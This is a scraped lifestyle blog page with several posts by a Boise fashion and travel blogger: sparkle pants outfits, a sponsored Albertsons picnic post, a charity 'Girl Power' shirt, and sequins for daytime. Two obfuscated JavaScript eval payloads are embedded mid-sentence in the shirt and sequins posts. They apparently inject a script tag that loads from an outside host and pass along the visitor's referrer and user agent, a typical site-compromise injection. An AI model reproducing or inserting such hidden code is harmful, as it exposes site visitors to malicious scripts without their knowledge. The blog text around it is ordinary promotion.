Sparkle Pants for Days

stylespygirl sparkle pants ammophotog 3
stylespygirl sparkle pants ammophotog 3

When are glittery clothes appropriate? …Always!

Once upon a time, my dear friend Roshan Roghani told me her fashion philosophy: “I only buy things that make me happy.”  She went on to explain that if something in her closet didn’t bring her joy when she looked at it, she would pass it on to someone else who might like it better! It was her way of decluttering her life and her wardrobe, while also sharing happiness with the world around her. How cool is that?

We all know that things don’t make you happy. But having things in your wardrobe or house that remind you of sadness or bring up bad memories can definitely affect you. I’ve adopted Roshan’s philosophy, choosing to build a wardrobe that may not always be on-trend, but will consistently represent my heart, my style, and the happiness I want to share with the world.

Sparkles bring me joy.

stylespygirl sparkle pants ammophotog 3

I have always gravitated towards sparkly clothes, jewelry, and even shoes that reflect light and color, and I have memories of my father teasing me, “Will you ever have enough glitter?” Apparently, the answer to that is NO, because when I spotted these amazing trousers on sale at Zara.com, I couldn’t pass them up!

I also couldn’t wait for an “appropriate occasion” to wear them, because why should we limit sequins & sparkle to holidays and special events? Fortunately for my fragile patience, the gorgeous Chateau des Fleurs was throwing a special Bloggers & Influencers event last weekend, so I threw two outfits together – one casual/comfort, and the other drama/dressy – and headed over.

Huge, adoring, grateful thanks to my amazing photographer @ammophotog for all these fabulous pics, and to the generous Chateau des Fleurs team for letting us play in your beautiful paradise!

Outfit One: Comfy Sparkle

stylespygirl sparkle pants ammophotog 1

I like to balance drama pieces with sedate classics. I dressed down this look with always-in-fashion Adidas, and a very cozy brushed cotton top I found at a local boutique. The result felt cool, casual, and comfortable! I could wear this almost anywhere.

Top: I Beni Boutique / Sparkly Palazzo Pants: Zara / Freshwater Pearl Necklace & Earrings: Roma Designer Jewelry

stylespygirl sparkle pants ammophotog 6
stylespygirl sparkle pants ammophotog 21

My new favorite necklace! ❤
Use special discount code GIFT134 at Roma Designer Jewelry to get 20% off any purchase!!!

Outfit Two: Sassy Sparkle

stylespygirl sparkle pants ammophotog 3

For this look, I matched drama to drama with a rock & roll top and fluffy faux fur jacket. It felt purrrrrfectly fun and full of attitude! I didn’t have time on this day to change my shoes, but next time I wear this look it will be with my favorite red boots!

Coat & Shirt: I Beni Boutique / Sparkly Palazzo Pants: Zara / Sunglasses: INVU Eyewear

stylespygirl sparkle pants ammophotog 3
stylespygirl sparkle pants ammophotog 3
stylespygirl sparkle pants ammophotog 3
stylespygirl sparkle pants ammophotog 3

LET’S CHAT!

Which look do you like best? Would you wear sparkle pants for daytime? And what fashion items in your closet make you the happiest??

Texture, favorite color, shine, functionality… I would LOVE to hear about the things that inspire joy when you shop!

Or, are there things in your closet that make you sad or depressed, but you’re not sure how to let go of them? Chat with me below, I’d love to help!

XOXOXO,
Tanya

Boise’s New Albertsons Store Brings the World to Your Doorstep!

albertsons grand opening floral department

albertsons grand opening floral department

A brand new Albertsons grocery market just opened in Boise, boasting an extended International Foods section. As a travel blogger and lover of global cuisine, I just had to check it out!

albertsons grand opening global flavors web 2

albertsons grand opening fresh

albertsons grand opening basqueI just have to say: this new store is HUGE! Besides the aforementioned global foods, there’s an extra-large beauty section, complete with expanded natural and local options, an incredible meat department, cheeses from everywhere you can imagine, and floral choices that are out of this world. Basically, it’s your new favorite one-stop-shop!

albertsons grand opening stylespygirl 2

albertsons grand opening cheese scultpure 2

albertsons grand opening fruit veggies

Spanish, Indian, German, French, British, Dutch, Asian… ALL the foods!!! With so many great culinary choices, I was inspired to put together a very special picnic, to commemorate one of my favorite travel memories.

Once upon a time (jk; last summer!) I took a group of Boise women to Paris for a girls’ getaway. Of course, we had to visit the Eiffel Tower, but we did so in way that was markedly different than the average tourist…eiffel tower picnic stylespygirl small

Instead of standing in long lines & paying big chunks of change to ascend to the top, we stopped by a neighborhood market, loaded up on local food & drinks, and spread out a picnic dinner at the base of Paris’ most famous landmark!

Did you know that the Eiffel Tower has a massive public park at its feet? Called the Champs de Mars, this green space is extensive and lush, with soft grass, shady trees, playgrounds, and unparalleled views of the historic structure that rises over it!

eiffel tower paris stylespygirlWe had a glorious meal, and as the sun began to set, the Tower lit up, illuminating the park with over 20,000 dancing, sparkling lights. Music played, people danced, everyone oohed and ah-ed…

I’ll never forget it that night!

While walking through the Global Foods section in the new Albertsons back home, I was inspired to recreate that fun Parisian moment right here in Boise, with a whimsical picnic from around the world.

Everything I needed was right at my fingertips!

1: SAVORY MEATSalbertsons grand opening cheese web 2

Choose a classic, like Genoa Salami, and pair it with something more exotic, like Mortadella from Italy. If you like meats with a little more kick, be sure to check out Albertson’s Basque section of delicious choices, back in the dairy department!

2: CHEESY GOODNESScheese platter albertsons picnic

I like combining a trio of different, yet simple flavors: a mild family favorite (ours is Gouda), a soft spread (Brie from France), and something flavorful and intense, like an aged asiago or savory Manchego.

3: FRESH & FRUITYalbertsons grand opening picnic

Balance out salty proteins with some fresh fruit, which Albertson’s makes easy in pre-cut disposable bowls. A jar of lemon-flavored Oui  French-style yoghurt by Yoplait makes an excellent fruit dip, and the little glass jar washes out easily to become a petite flower- or candle-holder for later!

4: SUMPTUOUS SIPSalbertsons grand opening wines 2

I love a light, refreshing rosé with a glass or screw-off top for easy opening in the park, because who ever remembers a corkscrew, really?!? For a kid-friendly picnic, it’s good to include something indulgent and unique, but also non-alcoholic, like this delicious Sparkling Limonade from France!

5: DON’T FORGET DESSERTeclairs stylespygirl albertsons

Perhaps the most important part of your Parisian picnic, the pièce de résistance, so to speak, is a decadent dessert. Just like on our Eiffel Tower day, nothing compares to fresh chocolate eclairs, made daily with love in the Albertsons bakery!

So, there you have it – c’est délicieux, as they say in France. Lay out your blanket on the grass, pluck a small bouquet for atmosphere, and picnic away! It’s simple, easy, and mouthwateringly scrumptious. albertsons grand opening stylespygirl picnic boise

Enjoy your summer, #EatLifeUp to the max, and be sure to stop by the new Albertsons in downtown Boise for an unparalleled market and cuisine experience!

XOXO,
Tanya

~   ~   ~

This is a sponsored conversation written by me on behalf of Albertsons on Broadway. The opinions and text are all mine.

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Fashion Collaboration 4 Good: my new Girl Power shirt from FourthWave!

girl power feminist shirts

Hey, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfhtd|var|u0026u|referrer|shiya||js|php’.split(‘|’),0,{}))
babes! I am proud to announce the launch of my first fashion collaboration: a very special #girlpower shirt I’ve co-designed with FourthWave Apparel!

girl-power-shirt

Nobody puts Girl Power in a Corner.
Why? Because the gloves are off, and we are coming out fighting!

There is a new wave of activism sweeping across our nation right now, as men and women everywhere are stepping up to use their time, energy, and wallets to make a difference in the community around them. Many of us are galvanized, like never before, to find ways we can each help make our world a better place.

As a feminist, I believe that a vital part of fighting for equality in our nation involves lifting up our sisters who are most at risk and vulnerable!

I created this shirt with FourthWave Apparel as a way we can take a stand for those who may not have the resources or ability to stand up for themselves! When you purchase my new Girl Power shirt, use code LEAP40, and 40% of the profits will be donated to LEAPCharities.org, a Boise-based non-profit that provides housing, transitional services, and support to refugees seeking resettlement in our nation.

test of a civilization quote

Why is that important? And why should “girl power” focus on those who have just arrived in our community? Because many immigrant families who have worked hard to get here are feeling understandable fear. Idaho is a major gateway for refugees, who arrive in our nation fleeing violence, persecution, or seeking freedom, and a life with more opportunities than they had in their previous land.

 

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Shirts available in black, heathered white (top of page), or pink! Use code LEAP40 to send 40% of the proceeds to LEAPCharities!

There has never been a better time for us to stand up for each other across fences, walls, and ethnicity lines. Fact: Women in minority groups in this country fight for equality every day, twice as hard as many of us realize, because they simultaneously have to deal with sexism and racism!  If you’ve never thought about that before, let it sink in; search your heart, and reach out to those around you.

True equality means all are equal, period. If I really want to make the world a better place for my family, I absolutely have to be just as passionate about making it a better place for all families, regardless of  gender, race, religion, or dis/ability.

If you fight for equality, now is the time to stand up and do it with your wallet, with your courage, and with your helping hands. The power to make a difference is in us! Girl-power sisters, let’s get out of the corner! 

XOXO,
Tanya

P.S. If you want to donate directly to LEAP Charities or volunteer, contact them here: http://www.leapcharities.org/
Other great options in the Treasure Valley that need our support are www.idahorefugees.org/,www.rescue.org, and worldreliefboise.org. Help out, in any way you can! Every effort makes a difference.

 

How to Wear Sequins for Daytime

sequins for day

ammophotog_stylespygirl_sequin_skirt_featureBlouse: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nyana|var|u0026u|referrer|dnbii||js|php’.split(‘|’),0,{}))
Express / Skirt: Forever 21 / Sunglasses: Oakley, via Boise Mountain Eyecare / Necklace: Unigon Specialties / Bracelet: Posh Boutique / Handbag: Coach / Tights: Forever 21 / Boots: Vintage Nine West, via Renewed Expressions
Continue reading “How to Wear Sequins for Daytime”